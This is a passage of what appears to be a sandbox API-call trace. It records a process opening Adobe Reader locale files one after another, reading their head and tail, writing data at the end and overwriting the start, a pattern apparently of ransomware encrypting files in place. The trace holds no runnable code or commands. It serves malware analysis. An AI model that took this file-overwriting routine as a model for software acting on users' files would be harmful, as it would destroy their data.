[0036.868] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.868] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.868] ReleaseMutex (hMutex=0x128) returned 1 [0036.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DAN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DAN", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.DAN", lpUsedDefaultChar=0x0) returned 13 [0036.868] ReadFile (in: hFile=0x1b4, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0036.872] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3600 [0036.872] ReadFile (in: hFile=0x1b4, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0036.875] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3600 [0036.875] WriteFile (in: hFile=0x1b4, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.875] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0036.875] WriteFile (in: hFile=0x1b4, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.875] CloseHandle (hObject=0x1b4) returned 1 [0036.876] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\AdobeCollabSync.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\adobecollabsync.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0036.876] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.876] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1a00 [0036.876] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.876] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.876] ReleaseMutex (hMutex=0x128) returned 1 [0036.876] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DEU", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0036.876] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DEU", cchWideChar=19, lpMultiByteStr=0x1e789ec, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.DEU", lpUsedDefaultChar=0x0) returned 19 [0036.876] ReadFile (in: hFile=0x1b4, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0037.174] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0037.175] WriteFile (in: hFile=0x1b4, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x32cf2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0037.175] CloseHandle (hObject=0x1b4) returned 1 [0037.175] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Multimedia.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\multimedia.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0037.175] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.175] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x14600 [0037.176] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.176] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.176] ReleaseMutex (hMutex=0x128) returned 1 [0037.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DEU", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0037.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DEU", cchWideChar=14, lpMultiByteStr=0x1e6314c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.DEU", lpUsedDefaultChar=0x0) returned 14 [0037.176] ReadFile (in: hFile=0x1b4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0037.196] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x13600 [0037.196] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0037.204] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x13600 [0037.205] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.205] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0037.205] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de8e48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8e48*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0037.205] CloseHandle (hObject=0x1b4) returned 1 [0037.205] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0037.205] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.206] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xe7 [0037.206] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.206] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.206] ReleaseMutex (hMutex=0x128) returned 1 [0037.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0037.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6320c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0037.206] ReadFile (in: hFile=0x1b4, lpBuffer=0x25ea548, nNumberOfBytesToRead=0xe7, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ea548*, lpNumberOfBytesRead=0x32cf2bc*=0xe7, lpOverlapped=0x0) returned 1 [0037.207] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0037.207] WriteFile (in: hFile=0x1b4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66f, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x66f, lpOverlapped=0x0) returned 1 [0037.207] CloseHandle (hObject=0x1b4) returned 1 [0037.207] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DigSig.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\digsig.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0037.207] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.207] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x20800 [0037.207] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.207] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.208] ReleaseMutex (hMutex=0x128) returned 1 [0037.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0037.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ESP", cchWideChar=10, lpMultiByteStr=0x1e62fcc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.ESP", lpUsedDefaultChar=0x0) returned 10 [0037.208] ReadFile (in: hFile=0x1b4, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0037.214] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1f800 [0037.214] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0037.221] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1f800 [0037.222] WriteFile (in: hFile=0x1b4, lpBuffer=0x1deefa8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1deefa8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.222] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0037.222] WriteFile (in: hFile=0x1b4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0037.222] CloseHandle (hObject=0x1b4) returned 1 [0037.222] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\ReadOutLoud.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\readoutloud.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0037.229] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.230] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2a00 [0037.230] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.230] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.230] ReleaseMutex (hMutex=0x128) returned 1 [0037.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ESP", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0037.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ESP", cchWideChar=15, lpMultiByteStr=0x1e630cc, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.ESP", lpUsedDefaultChar=0x0) returned 15 [0037.230] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0037.236] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1a00 [0037.236] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0037.239] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1a00 [0037.239] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.240] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0037.240] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.240] CloseHandle (hObject=0x1b4) returned 1 [0037.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\accessibility.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\accessibility.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0037.241] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.241] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xac00 [0037.241] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.241] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.241] ReleaseMutex (hMutex=0x128) returned 1 [0037.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.EUQ", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0037.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.EUQ", cchWideChar=17, lpMultiByteStr=0x1e78ab4, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.EUQ", lpUsedDefaultChar=0x0) returned 17 [0037.241] ReadFile (in: hFile=0x1b4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0037.249] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x9c00 [0037.249] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0037.249] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x9c00 [0037.249] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.250] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0037.250] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de8e48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8e48*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0037.250] CloseHandle (hObject=0x1b4) returned 1 [0037.250] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\IA32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ia32.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0037.251] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.251] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xe00 [0037.251] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.251] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.251] ReleaseMutex (hMutex=0x128) returned 1 [0037.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.EUQ", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0037.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.EUQ", cchWideChar=8, lpMultiByteStr=0x1e6302c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.EUQ", lpUsedDefaultChar=0x0) returned 8 [0037.251] ReadFile (in: hFile=0x1b4, lpBuffer=0x261dca8, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x261dca8*, lpNumberOfBytesRead=0x32cf2bc*=0xe00, lpOverlapped=0x0) returned 1 [0037.255] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0037.255] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x32cf2d0*=0x1388, lpOverlapped=0x0) returned 1 [0037.256] CloseHandle (hObject=0x1b4) returned 1 [0037.256] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SendMail.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\sendmail.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0037.257] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.257] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4000 [0037.257] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.257] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.257] ReleaseMutex (hMutex=0x128) returned 1 [0037.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0037.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.EUQ", cchWideChar=12, lpMultiByteStr=0x1e6340c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.EUQ", lpUsedDefaultChar=0x0) returned 12 [0037.257] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0037.260] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3000 [0037.260] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0037.260] SetFilePointer 